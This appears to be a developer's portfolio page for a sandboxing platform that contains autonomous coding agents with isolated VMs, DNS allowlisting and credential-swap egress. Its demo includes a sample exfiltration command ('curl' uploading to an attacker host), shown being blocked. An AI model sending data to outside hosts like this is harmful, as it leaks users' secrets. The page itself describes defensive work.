Skip to content
All projects

projects/dream-serpent

dream-serpent — sandboxed agent platform

A secure sandboxing platform for autonomous coding agents — per-session KVM VMs with default-deny networking and credential-swap egress — built in five and a half weeks almost entirely by the agents it is designed to contain.

activeJun 2026 – Present
Agent infrastructureKVMsandboxingRustGodeveloper platform
Dream Serpent's namesake: a silver serpent-dragon winding through sunlit clouds, from the project README
Commits in 5½ weeks
~4,600
Lines of code written
~372k
Design decisions logged
147
Human on the team
1

Dream Serpent is a from-scratch secure developer platform for autonomous coding agents — informally, "Heroku for Claude Code." The problem comes straight from my own practice: once you run many agents against real credentials and real infrastructure, a single misbehaving agent can do real damage, and no off-the-shelf substrate bounds the blast radius.

Defense the agent can't route around

Every agent session gets its own throwaway KVM virtual machine, and everything that matters for safety sits outside it, where no amount of agent misbehavior can reach. A default-deny firewall means the VM can reach nothing unless a rule says otherwise. A DNS gate means hostnames only resolve if the session's allowlist includes them. And an egress gateway means real API keys never enter the VM at all: the agent holds a short-lived session token, and the gateway swaps it for the real credential at the boundary, on the way out.

one agent sessionthe path of every outbound packet
agent VMephemeral KVM guest · one per sessionuntrusted by design
The agent, its tools, and a short-lived session token — nothing else. No real credentials, no direct route to the internet, and the whole machine is destroyed when the session ends.
the only route out
boundary services — outside the guest’s routing table, beyond an agent’s reach
nftables firewalldefault-deny
Nothing leaves the VM unless a rule says otherwise. There is no permissive mode to fall back to.
DNS gateallowlist at the resolver
Hostnames resolve only if the session policy allows them; everything else comes back REFUSED, with the policy rule named in the DNS response itself.
egress gatewaycredential swap
Terminates TLS and swaps the session token for the real API key on the way out. Long-lived credentials never enter the guest at all.
allowlisted destinations only, real credential attached
the internetallowlisted hosts only
The upstream API sees one ordinary, authenticated request. A fully compromised VM holds nothing worth stealing — and nothing that needs rotating afterward.
identity — a SPIFFE/SPIRE certificate authority and per-session Biscuit tokens authenticate every hop, so the boundary services know exactly which session is asking.
The blast radius, drawn to policy: everything an agent can touch lives inside the VM, and everything that matters for safety sits outside its routing table. The data plane is Apache-2.0 by design, split cleanly from a proprietary control plane.

From inside the sandbox, all of that looks like this:

env | grep ANTHROPIC

ANTHROPIC_API_KEY=ds-session-9f41c2… · a short-lived session token — the real key never enters the VM

dig api.anthropic.com

;; status: NOERROR · on the session allowlist, so the name resolves

curl https://api.anthropic.com/v1/models

HTTP/2 200 · the gateway swapped the session token for the real credential at the boundary

dig exfil.attacker.net

;; status: REFUSED · not on the allowlist — the policy rule is named in the response

curl https://exfil.attacker.net/upload

curl: (6) Could not resolve host · and nothing worth stealing even if it could

The live nested-VM demo of the DNS gate and egress gateway, condensed to five commands and re-set in type so the annotations are readable. Allowlisted traffic works normally with the real credential attached outside the guest; everything else dies at the resolver.

Built by the thing it contains

The method is the headline. Roughly 4,600 commits and ~372k lines of Go, Rust, and TypeScript landed in five and a half weeks, written almost entirely by a self-directed fleet of Claude Code sessions — with me as the only human — coordinating through infrastructure the project built for itself:

  • A landing queue. Dozens of agents can't all merge at once, so an elected leader lands one fully-tested branch onto main at a time. By early August the queue had processed over 6,600 landings.
  • A custom git merge driver that reconciles concurrent edits to shared task state by ID instead of by text — proven on its worst day by a 443-commit reconcile.
  • A numbered decision log. 147 design decisions, ratified and then cited by number in code and commit messages, so agents that never share a context window still share the reasoning.
  • Fleet self-audits. Agents periodically re-check other agents' finished work against main. One sweep surfaced three live security gaps; all three were closed the same day.

The hardest problem wasn't the code — it was governance at swarm scale: keeping dozens of concurrent contributors from corrupting main or scaffolding things nobody asked for. What worked was boring on purpose: frozen protobuf contracts between components, an explicit list of things deliberately not built, and dispatch plans that hand each wave of agents disjoint sets of files.

Where it stands

The core safety spine — firewall, DNS gate, credential swap, and identity — has been demonstrated live end-to-end in a nested-VM testbed. The project is active and now dogfooding: my own agent workspaces are its first daily-driver workloads. The repo is its own best demonstration of the thing it builds.

dream-serpent — sandboxed agent platform | Free Wortley